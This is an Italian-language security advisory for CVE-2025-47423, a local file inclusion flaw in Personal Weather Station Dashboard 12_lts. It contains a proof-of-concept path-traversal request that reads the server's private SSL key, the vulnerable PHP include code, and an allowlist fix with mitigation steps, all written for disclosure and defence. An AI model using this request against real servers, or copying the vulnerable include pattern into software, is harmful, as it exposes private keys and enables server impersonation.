CVE-2025-47423 – Local File Inclusion in Personal Weather Station Dashboard (12_lts)

Scoperto da: Matthew Eagle
Stato: Divulgazione pubblica
Data di segnalazione: 2025-05-05
ID CVE: CVE-2025-47423

---

🧩 Riepilogo

Una vulnerabilità di Local File Inclusion (LFI) in Personal Weather Station Dashboard versione 12_lts consente ad attaccanti remoti non autenticati di leggere file arbitrari sul server. Sfruttare questa falla garantisce l'accesso a file sensibili, incluse chiavi SSL private, compromettendo potenzialmente la riservatezza e l'integrità delle connessioni HTTPS.

---

🛠 Componente interessata

• File: /others/_test.php
• Parametro vulnerabile: test (tramite GET)

---

📈 Impatto

Questa falla consente ad attaccanti remoti di:

• Leggere file arbitrari sul filesystem
• Esporre chiavi SSL private (ad es. server.key)
• Eseguire attacchi man-in-the-middle (MITM)
• Impersonare il server HTTPS

CVSS: 5.8 Medio

---

💥 Proof of Concept (PoC)

GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com

Risposta:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----

---

🧪 Codice vulnerabile (semplificato)

$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);

Il str_replace non è sufficiente a prevenire il directory traversal.

---

🔐 Correzione sicura

• Utilizzare una allowlist rigorosa per i target di inclusione
• Sanificare l'input con basename() e verificarlo rispetto ai file consentiti
• Evitare l'inclusione dinamica basata sull'input dell'utente

$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';

if (!in_array($script, $allowed_tests)) {
    die("Invalid test file.");
}

include(__DIR__ . '/scripts/' . $script);

---

📅 Cronologia

Data	Evento
2025-05-05	Vulnerabilità segnalata ai moderatori di PWS Dashboard
2025-05-06	Presa in carico e test osservati
2025-05-07	CVE-2025-47423 riservato tramite MITRE
2025-06-07	Patch pubblica e inserimento CVE confermati

---

🧠 Mitigazione

Se stai eseguendo Personal Weather Station Dashboard 12_lts, dovresti:

• Rimuovere o aggiornare immediatamente _test.php
• Implementare lo script corretto con la whitelist dei file
• Ruotare e riemettere eventuali certificati TLS compromessi

---

🧾 Riferimenti

• CVE-2025-47423 su MITRE (in sospeso)
• Avviso pubblicato su GitHub

---

🙏 Crediti

Vulnerabilità scoperta e divulgata in modo responsabile da Matthew Eagle
Contatto: [email protected]

---

Divulgazione coordinata nel rispetto delle linee guida sulla divulgazione responsabile. Questo documento è rilasciato per scopi educativi e difensivi.